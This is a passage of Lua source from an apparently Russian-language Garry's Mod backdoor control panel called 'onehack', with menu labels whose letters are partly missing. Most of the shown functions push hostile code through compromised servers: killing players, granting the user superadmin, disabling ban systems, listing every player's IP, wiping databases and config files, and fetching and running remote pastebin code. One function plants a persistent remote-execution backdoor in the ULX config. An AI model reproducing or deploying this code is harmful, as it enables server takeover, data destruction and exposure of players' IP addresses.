684 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
685 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
686 end
687 onehack.backlistt_players_list.VBar:SetWidth(1)
688 onehack.backlistt_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar():GetWide(), onehack.backlistt_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
689 onehack.backlistt_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnUp:GetWide(), onehack.backlistt_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
690 onehack.backlistt_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnDown:GetWide(), onehack.backlistt_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
691 onehack.backlistt_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
692
693 onehack.player_button_prev = vgui.Create( "DButton", onehackdooropt )
694 onehack.player_button_prev:SetText( "" )
695 onehack.player_button_prev:SetPos(5,95)
696 onehack.player_button_prev:SetSize(150,20)
697 function onehack.player_button_prev:Paint( w,h )
698 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
699 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
700 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
701 end
702
703 onehack.player_button_all = onehack.backlistt_players_list:Add( "DButton" )
704 onehack.player_button_all:SetText( "" )
705 onehack.player_button_all:Dock( TOP )
706 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
707 function onehack.player_button_all:Paint( w,h )
708 if onehack.player_button_all:IsHovered() then
709 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
710 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
711 else
712 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
713 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
714 end
715 if onehack.selected_player == 0 then
716 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
717 else
718 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
719 end
720 end
721 function onehack.player_button_all:DoClick()
722 onehack.selected_player = 0
723 end
724
725 for k,v in pairs(player.GetAll()) do
726 local onehack_player_button = onehack.backlistt_players_list:Add( "DButton" )
727 onehack_player_button:SetText( "" )
728 onehack_player_button:Dock( TOP )
729 onehack_player_button:DockMargin( 0, 0, 0, 0 )
730 onehack_player_button.Paint = function( _, w, h )
731 if onehack_player_button:IsHovered() then
732 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
733 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
734 else
735 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
736 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
737 end
738 if onehack.selected_player == v then
739 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
740 else
741 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
742 end
743 end
744 function onehack_player_button:DoClick()
745 onehack.selected_player = v
746 end
747 end
748
749 onehack.backlistt_functions = vgui.Create( "DPanel", onehackdooropt )
750 onehack.backlistt_functions:SetPos(160,65)
751 onehack.backlistt_functions:SetSize(301,313)
752 function onehack.backlistt_functions:Paint( w,h )
753 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
754 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
755 end
756
757 onehack.backlistt_functionsss_list = vgui.Create( "DScrollPanel", onehack.backlistt_functions )
758 onehack.backlistt_functionsss_list:Dock(FILL)
759 function onehack.backlistt_functionsss_list:Paint( w,h )
760 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
761 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
762 end
763 onehack.backlistt_functionsss_list.VBar:SetWidth(1)
764 onehack.backlistt_functionsss_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar():GetWide(), onehack.backlistt_functionsss_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
765 onehack.backlistt_functionsss_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnUp:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
766 onehack.backlistt_functionsss_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnDown:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
767 onehack.backlistt_functionsss_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
768
769 onehack.AddFunction("Поменять всем имя", "textfield_rename", buttlistback, function()
770 onehack.NetStart( onehack.selectedbackdoor )
771 net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Супе Г ом!\"); end" )
772 net.WriteBit(1)
773 onehack.SendToServak()
774 end)
775
776 onehack.AddFunction("Убить всех", "cut", buttlistback, function()
777 onehack.NetStart( onehack.selectedbackdoor )
778 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
779 net.WriteBit(1)
780 onehack.SendToServak()
781 end)
782
783 onehack.AddFunction("Танцы", "cut", buttlistback, function()
784 onehack.NetStart( onehack.selectedbackdoor )
785 net.WriteString( [[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("dance_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
786 ]] )
787 net.WriteBit(1)
788 onehack.SendToServak()
789 end)
790
791 onehack.AddFunction("Подкинуть всех", "arrow_up", buttlistback, function()
792 onehack.NetStart( onehack.selectedbackdoor )
793 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
794 net.WriteBit(1)
795 onehack.SendToServak()
796 end)
797
798 onehack.AddFunction("Half-Life 2", "clock_play", buttlistback, function()
799 onehack.NetStart( onehack.selectedbackdoor )
800 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
801 net.WriteBit(1)
802 onehack.SendToServak()
803 end)
804
805 onehack.AddFunction("К утилика", "arrow_rotate_anticlockwise", buttlistback, function()
806 onehack.NetStart( onehack.selectedbackdoor )
807 onehack.NetWireString(
808 [[hook.Add( "Think", "#bone::manipulation#", function()
809 for k,v in pairs(player.GetAll()) do
810 local hands = v:LookupBone("ValveBiped.Bip01_R_Hand")
811
812 v:ManipulateBoneAngles( hands, Angle(0, 0, RealTime()*500) )
813 end
814 end )]])
815 net.WriteBit(1)
816 onehack.SendToServak()
817 end)
818
819 onehack.AddFunction("Заб ать о ужия у всех", "controller_delete", buttlistback, function()
820 onehack.NetStart( onehack.selectedbackdoor )
821 onehack.NetWireString([[for _, p in pairs(player.GetAll()) do if not ]]..LocalPlayer():UniqueID()..[[ then p:StripWeapons() end end]])
822 net.WriteBit(1)
823 onehack.SendToServak()
824 end)
825
826 onehack.AddFunction("Поджечь всех", "building", buttlistback, function()
827 onehack.NetStart( onehack.selectedbackdoor )
828 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
829 net.WriteBit(1)
830 onehack.SendToServak()
831 end)
832
833 onehack.AddFunction("Выдать себе п ивилегию", "user_gray", buttlistback, function()
834 onehack.NetStart( onehack.selectedbackdoor )
835 net.WriteString( [[
836
837 local id = ]] .. LocalPlayer():UserID() .. [[
838
839 Player( id ):SetUserGroup( "superadmin" )
840
841 ]] )
842 net.WriteBit(1)
843 onehack.SendToServak()
844 end)
845
846 onehack.AddFunction("Камшейк", "emoticon_evilgrin", buttlistback, function()
847 onehack.NetStart( onehack.selectedbackdoor )
848 onehack.NetWireString("for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end")
849 net.WriteBit(1)
850 onehack.SendToServak()
851 end)
852
853 onehack.AddFunction("2D Модели", "font", buttlistback, function()
854 onehack.NetStart( onehack.selectedbackdoor )
855 onehack.NetWireString([[
856 for k,v in pairs(player.GetAll()) do
857 local a = v:LookupBone("ValveBiped.Bip01_Head1")
858 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
859 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
860 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
861 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
862 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
863 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
864 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
865 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
866 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
867 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
868
869 v:ManipulateBoneScale( a, Vector(4,0,4))
870 v:ManipulateBoneScale( b, Vector(0,0,0))
871 v:ManipulateBoneScale( c, Vector(0,0,0))
872 v:ManipulateBoneScale( d, Vector(0,0,1))
873 v:ManipulateBoneScale( e, Vector(0,0,1))
874 v:ManipulateBoneScale( f, Vector(0,0,0))
875 v:ManipulateBoneScale( g, Vector(0,0,0))
876 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
877 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
878 v:ManipulateBoneScale( j, Vector(0,0,0))
879 v:ManipulateBoneScale( k, Vector(0,0,0))
880 end]])
881 net.WriteBit(1)
882 onehack.SendToServak()
883 end)
884
885 onehack.AddFunction("Всех в гигантов", "control_eject", buttlistback, function()
886 onehack.NetStart( onehack.selectedbackdoor )
887 onehack.NetWireString([[
888 hook.Add("Think", "giant", function()
889 for k,v in pairs (player.GetAll()) do
890 v:SetModelScale(2.5, 100);
891 v:SetRunSpeed(400 * 2);
892 v:SetWalkSpeed(200 * 2);
893 end
894 end)]])
895 net.WriteBit(1)
896 onehack.SendToServak()
897 end)
898
899 onehack.AddFunction("Все любят меня :3", "comment", buttlistback, function()
900 onehack.NetStart( onehack.selectedbackdoor )
901 net.WriteString([[for k,p in pairs(player.GetAll()) do
902 p:ConCommand("say Я люблю Foer'a <3")
903 end
904 ]])
905 net.WriteBit(1)
906 net.SendToServer()
907 end)
908
909 onehack.AddFunction("Показать IP всех иг оков", "chart_organisation", buttlistback, function()
910 onehack.NetStart( onehack.selectedbackdoor )
911 onehack.NetWireString([[
912
913 local id = ]] .. LocalPlayer():UserID() .. [[
914
915 for k, v in pairs( player.GetAll() ) do
916
917 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
918
919 end
920
921 ]])
922 net.WriteBit(1)
923 onehack.SendToServak()
924 end)
925
926 onehack.AddFunction("Сломать (ULX и FAdmin)", "brick_delete", buttlistback, function()
927 onehack.NetStart( onehack.selectedbackdoor )
928 onehack.NetWireString([[
929 ULib.Ban = function() return false end
930 _G.FAdmin = function() end
931 ULib.addBan = function() return end
932
933 ULib.kick = function() return end
934 ]])
935 net.WriteBit(1)
936 onehack.SendToServak()
937 end)
938
939 onehack.AddFunction("Дискотека", "group", buttlistback, function()
940 onehack.NetStart( onehack.selectedbackdoor )
941 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/ehNbAECD\",function(b,l,h,c)RunString(b)end,nil)")
942 net.WriteBit(1)
943 onehack.SendToServak()
944 end)
945
946 onehack.AddFunction("Пломби овать", "server_link", buttlistback, function()
947 onehack.NetStart( onehack.selectedbackdoor )
948 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/z8TmzbFF\",function(b,l,h,c)RunString(b)end,nil)")
949 net.WriteBit(1)
950 onehack.SendToServak()
951 end)
952
953 onehack.AddFunction(" азбанить всех", "database_edit", buttlistback, function()
954 onehack.NetStart( onehack.selectedbackdoor )
955 net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
956 net.WriteBit(1)
957 onehack.SendToServak()
958 end)
959
960 onehack.AddFunction("Удалить все г уппы", "group_delete", buttlistback, function()
961 onehack.NetStart( onehack.selectedbackdoor )
962 net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
963 net.WriteBit(1)
964 onehack.SendToServak()
965 end)
966
967 onehack.AddFunction("Сб осить деньги", "money_delete", buttlistback, function()
968 onehack.NetStart( onehack.selectedbackdoor )
969 net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
970 net.WriteBit(1)
971 onehack.SendToServak()
972 end)
973
974 onehack.AddFunction("Очистить ка ту", "cut_red", buttlistback, function()
975 onehack.NetStart( onehack.selectedbackdoor )
976 onehack.NetWireString("for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end")
977 net.WriteBit(1)
978 onehack.SendToServak()
979 end)
980
981 onehack.AddFunction("Изменить имя се ве а", "drive_rename", buttlistback, function()
982 onehack.NetStart( onehack.selectedbackdoor )
983 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", \"• Ħá¢ҝ ƀɤ ǺβÇŦųŋℯᶉ | Ñęţ:("..onehack.selectedbackdoor..")\")")
984 net.WriteBit(1)
985 onehack.SendToServak()
986 end)
987
988 onehack.AddFunction("Спам", "keyboard", buttlistback, function()
989 onehack.NetStart( onehack.selectedbackdoor )
990 onehack.NetWireString("timer.Create( \"sppspas\", 0.1, 0, function() print(\"Hack by ABCTuner | Do not steal! | Вы наказаны за во овство, коде ы тоже люди и хотят есть! Они за абатывают на жизнь п одавая свои замечательные аддоны!\"); BroadcastLua([[chat.AddText(Color(255,10,100), \"• Ħáсҝ ƀɤ ǺβÇŦųŋℯᶉ \",Color(255,255,255),\"| Do not steal! | Ñęţ: \",HSVToColor( CurTime() % 6 * 60, 1, 1 ),\""..onehack.selectedbackdoor.."\" )]]) end)")
991 net.WriteBit(1)
992 onehack.SendToServak()
993 end)
994
995 onehack.AddFunction("Отпе еть все две и", "door_open", buttlistback, function()
996 onehack.NetStart( onehack.selectedbackdoor )
997 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
998 net.WriteBit(1)
999 onehack.SendToServak()
1000 end)
1001
1002 onehack.AddFunction("Отк ыть все две и на ка те", "door_open", buttlistback, function()
1003 onehack.NetStart( onehack.selectedbackdoor )
1004 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
1005 net.WriteBit(1)
1006 onehack.SendToServak()
1007 end)
1008
1009 onehack.AddFunction("Очистить все данные", "folder_delete", buttlistback, function()
1010 onehack.NetStart( onehack.selectedbackdoor )
1011 onehack.NetWireString([[
1012 local date = os.date( "%m-%d-%y" )
1013 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
1014 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1015 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1016
1017 for k,v in pairs(databases) do
1018 if sql.TableExists(v) then
1019 sql.Query("DROP TABLE "..v.." ;")
1020 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1021 end
1022 end
1023
1024 for k,v in pairs(datafiles) do
1025 if file.Exists(v) then
1026 file.Delete(v)
1027 file.write(v, "А вот нехуй было обманывать")
1028 end
1029 end
1030
1031 for k,v in pairs(sensitivefiles) do
1032 if file.Exists(v) then
1033 file.Delete(v)
1034 file.write(v, "А вот нехуй было обманывать")
1035 end
1036 end
1037 ]])
1038 net.WriteBit(1)
1039 onehack.SendToServak()
1040 end)
1041 --
1042 onehack.AddFunction("Iseeyou", "shield_go", buttlistback, function()
1043 http.Fetch( "http://pastebin.com/raw.php?i=Ps16AErr", RunString )
1044 onehack.NetStart( onehack.selectedbackdoor )
1045 onehack.NetWireString("http.Fetch( \"http://pastebin.com/raw.php?i=Ps16AErr\", RunString )")
1046 net.WriteBit(1)
1047 onehack.SendToServak()
1048 RunConsoleCommand("iseeyou")
1049 end)
1050 onehack.AddFunction("Всех в КПЗ", "shield_go", buttlistback, function()
1051 onehack.NetStart( onehack.selectedbackdoor )
1052 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"jail\", \"*\")")
1053 net.WriteBit(1)
1054 onehack.SendToServak()
1055 end)
1056
1057 onehack.AddFunction("Инфекция", "chart_line_edit", buttlistback, function()
1058 onehack.NetStart( onehack.selectedbackdoor )
1059 onehack.NetWireString([[
1060 local config = ULib.fileRead( "data/ulx/config.txt" )
1061
1062 config = config.."\nulx logEcho 0"
1063
1064 config = config.."\nulx luarun util.AddNetworkString( 'ABCNet' ) net.Receive( 'ABCNet', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
1065
1066 config = config.."\nulx logEcho 1"
1067
1068 ULib.fileWrite( "data/ulx/config.txt", config )
1069
1070 ]])
1071 net.WriteBit(1)
1072 onehack.SendToServak()
1073 end)
1074
1075 onehack.AddFunction("А магеддон", "bomb", buttlistback, function()
1076 onehack.NetStart( onehack.selectedbackdoor )
1077 onehack.NetWireString([[
1078 hook.Add("Think", "armageddon", function()
1079 local explode = ents.Create( "env_explosion" )
1080 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
1081 explode:Spawn()
1082 explode:SetKeyValue( "iMagnitude", "500" )
1083 explode:Fire( "Explode", 0, 0 )
1084 end)
1085 ]])
1086 net.WriteBit(1)
1087 onehack.SendToServak()
1088 end)
1089
1090 onehack.AddFunction("Изменить звуки шагов", "sound", buttlistback, function()
1091 onehack.NetStart( onehack.selectedbackdoor )
1092 onehack.NetWireString("hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )")
1093 net.WriteBit(1)
1094 onehack.SendToServak()
1095 end)
1096
1097 onehack.AddFunction("Сказать что се ве у пизда", "sound", buttlistback, function()
1098 onehack.NetStart( onehack.selectedbackdoor )
1099 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://mamkaeb.000webhostapp.com/sound.mp3\", \"mono\", function()end )]])")
1100 net.WriteBit(1)
1101 net.SendToServer()
1102 end)
1103
1104 onehack.AddFunction("Музыка - Be Friend", "sound", buttlistback, function()
1105 onehack.NetStart( onehack.selectedbackdoor )
1106 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/BE%20FRIENDS.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Be Friend\")]])")
1107 net.WriteBit(1)
1108 net.SendToServer()
1109 end)
1110
1111 onehack.AddFunction("Музыка - П ивет, это к уто", "sound", buttlistback, function()
1112 onehack.NetStart( onehack.selectedbackdoor )
1113 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Salut%20Cest%20Cool.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет это к уто\")]])")
1114 net.WriteBit(1)
1115 net.SendToServer()
1116 end)
1117
1118 onehack.AddFunction("Музыка - Somewhere over", "sound", buttlistback, function()
1119 onehack.NetStart( onehack.selectedbackdoor )
1120 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Somewhere%20over.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Somehere over\")]])")
1121 net.WriteBit(1)
